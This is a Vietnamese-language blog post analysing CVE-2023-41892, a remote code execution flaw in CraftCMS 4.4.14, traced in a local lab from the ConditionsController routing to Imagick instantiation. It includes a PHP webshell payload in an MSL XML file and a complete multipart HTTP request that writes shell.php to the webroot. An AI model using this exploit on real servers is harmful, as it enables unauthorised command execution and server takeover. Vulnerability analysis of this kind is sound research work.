Post

CVE-2023-41892 CraftCMS RCE

Cũng tương đối lâu kể từ lần cuối viết phân tích 1-day, hôm nay mình sẽ quay trở lại với CVE-2023-41892 trên sản phẩm CraftCMS RCE. Ở blog này, bên cạch khía cạnh kỹ thuật mình cũng sẽ nêu rõ quá trình, suy nghĩ của mình khi phân tích con hàng này

Setup

Tạo máy ảo ubuntu VMWare, tải version lỗi 4.4.14 từ https://github.com/craftcms/cms/releases. Giải nén ra sau đó cd vào folder này, sau đó chạy các lệnh sau, nhớ install docker vs ddev trước nhé

1
2
3
4
ddev config --project-type=craftcms --docroot=web --create-docroot
ddev composer install
ddev craft install
ddev launch

Để debug chỉ đơn giản chạy lệnh ddev xdebug on. Sau đó cấu hình file launch.json trên Visual Studio Code để debug

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Listen for Xdebug",
            "type": "php",
            "request": "launch",
            "hostname": "0.0.0.0",
            "port": 9003,
            "pathMappings": {
                "/var/www/html": "${workspaceFolder}"
            }
        }
    ]
}

CVE-2023-41892

Theo như blog của Calif, lỗ hổng tồn tại trong lớp \craft\controllers\ConditionsController cho phép chúng ta tạo một thể hiện của đối tượng tùy ý thông qua phương thức beforeAction. Tên hàm này khiến mình có cảm giác sẽ không cần bất kỳ kỹ thuật bypass xác thực nào ở đây. Sử dụng qua một số chức năng trên giao diện web, endpoint dùng để login có dạng /index.php?p=admin%2Factions%2Fusers%2Flogin&v=1703690216395, nó gọi đến hàm actionLogin trong UsersController.php. Từ đây mình có thể đoán ra cách CraftCMS thực hiện routing. Ngay lập tức mình đặt breakpoint trong hàm beforeAction, sau đó thay đổi tham số p thành admin/actions/conditions/render, cái này sẽ gọi đến actionRender trong lớp ConditionsController. Đúng như mình nghĩ, nó sẽ chuyển đến BeforeAction trước khi thực hiện bất kỳ action nào trong controller.

image

Oke cùng xem hàm này có thể tạo một instance của class bất kỳ như thế nào. Vì login request sử dụng json nên mình cũng thế

image

Ở dòng 37, baseConfig được lấy từ config trong jsonbody, sau đó config sẽ được gán bởi giá trị trong json với khóa baseConfig[name]. Vì thế ban đầu mình sử dụng payload này để debug

1
2
3
4
5
6
7
8
{
    "config": {
        "name": "asd"
    },
    "asd": {
        "test": "azxczzxcv"
    }
}

Ở dòng 41 gọi đến hàm createCondition với config

image

Payload của mình bắn ra lỗi ở dòng 51, có nghĩa là lớp của chúng ta phải implements ConditionInterface. Chỉ có một class thoả mãn điều kiện này craft\elements\conditions\ElementCondition, đến đây payload có dạng như sau

1
2
3
4
5
6
7
8
9
{
    "config": {
        "name": "asd"
    },
    "asd": {
        "class": "craft\\elements\\conditions\\ElementCondition",
        "test": "123"
    }
}

Ở dòng 66 nó gọi Craft::createObject, ta điều khiển được tham số đầu tiên của hàm này

image

Yii::createObject()

image

Vì kiểu của $type là mảng nên nó sẽ xuống dòng 365

image

sau đó xuống dòng 170

image

Hàm build thực hiện tạo object tuỳ ý, tuy nhiên class của mình vẫn đang bị ràng buộc là ElementCondition. Đến đoạn này mình thấy khá vô lý và đọc lại blog của Calif thì thấy rằng source->sink không phải đi theo dường này mà là

image

Cùng xem hàm Craft::configure

image

Bên trong hàm này chỉ set thuộc tính cho đối tượng, sao lại có flow như trong blog đã nêu, quan sát mô tả của hàm \yii\base\Component::__set mới hiểu ra vấn đề

image

Hàm này là một dạng magic method được kích hoạt mỗi khi thực hiện set thuộc tính cho component theo dạng $component->property = $value;, đầu vào của hàm đương nhiên là key vs value không cần nghĩ nhiều, hiện tại mình hoàn toàn control được hai param này

image

Để chạy được vào sink Yii::createObject ở dòng 191. key của mình phải có chuỗi ‘as ‘ bên trong, ngay lập tức mình debug với payload mới

image

Ngon lành, lỗi trả về chỉ ra rằng class vớ vẩn ddd của mình không tồn tại. Theo như blog của Calif, để khai thác cần tạo instance của Imagick. Như đã đề cập ở trên, hàm build được dùng để tạo object bất kỳ

image

Dòng 389 $addDependencies được set giá trị từ $config['__construct()']; sau đó được merge vào $dependencies ở dòng 402, sau đó $dependencies được dùng cho tham số để tạo instance ở dòng 422

image

Cuối cùng payload để tạo Imagick như sau

image

Đến đây đã có điều kiện cần, bây giờ bắt tay vào đọc blog được Calif refer. Mình khuyến khích ae đọc kỹ bài blog này vì nó giúp mình biến thành con cá - mở mang :))). Mình sẽ tóm gọn lại thứ chúng ta cần

Hàm constructor của Imagick nhận vào đường dẫn file, tuy nhiên cũng hỗ trợ rất nhiều scheme khác như https:, … trong đó có msl:<file path> cho phép upload shell thông qua file xml dạng như sau

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<image>
 <!-- Shell -->
 <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;" />
 <!-- File to write -->
 <write filename="info:/var/www/html/web/shell.jsp" />
</image>

Đến đây cần 2 bước để upload shell

  1. Tải lên tệp chứa nội dung xml, biết đường dẫn đến file này
  2. Sử dụng msl: với đường dẫn ở bước 1 làm tham số cho Imagick để copy shell đến file bất kỳ

Ở bước 1 chúng ta sẽ lợi dụng khả năng tạo file tmp của php. Bất cứ khi nào ở trong POST body có tồn tại file, 1 file dạng php* sẽ được tạo bên trong /tmp

image

File này sẽ được xoá đi sau khi handle xong request, nhưng chúng ta có thể ngăn chặn điều này bằng cách gây crash apache proccess như trong blog nghiên cứu đã nói rõ. Tuy nhiên hiện tại body của mình vẫn ở dạng JSON làm sao có thể gửi file lên server. Mình thử đổi body sang dạng multipart/form-data thì mọi thứ vẫn hoạt động như thường. Việc biết tên file trong /tmp cũng không cần thiết nếu sử dụng scheme vid: bao bên ngoài msl:. Cuối cùng payload duy nhất để kết hợp cả 2 bước trong 1 request như sau

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
POST /index.php?p=admin%2factions%2fconditions%2frender&v=1703660891325 HTTP/1.1
Host: craftcms.ddev.site
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2IhoVgklk5mpdsTT
Content-Length: 1132

------WebKitFormBoundary2IhoVgklk5mpdsTT
Content-Disposition: form-data; name="config[name]"

asd
------WebKitFormBoundary2IhoVgklk5mpdsTT
Content-Disposition: form-data; name="config[as ][class]"

Imagick
------WebKitFormBoundary2IhoVgklk5mpdsTT
Content-Disposition: form-data; name="config[as ][__construct()][files][]"

vid:msl:/tmp/php*
------WebKitFormBoundary2IhoVgklk5mpdsTT
Content-Disposition: form-data; name="asd[class]"

craft\elements\conditions\ElementCondition
------WebKitFormBoundary2IhoVgklk5mpdsTT
Content-Disposition: form-data; name="asd[config]"

{"class":"Imagick"}
------WebKitFormBoundary2IhoVgklk5mpdsTT
Content-Disposition: form-data; name="asd[conditionRules][]"

asdasd
------WebKitFormBoundary2IhoVgklk5mpdsTT
Content-Disposition: form-data; name="c"; filename="myfile.txt"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <!-- Shell -->
 <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;" />
 <!-- File to write -->
 <write filename="info:/var/www/html/web/shell.php" />
</image>
------WebKitFormBoundary2IhoVgklk5mpdsTT--

Truy cập webshell

image

This post is licensed under CC BY 4.0 by the author.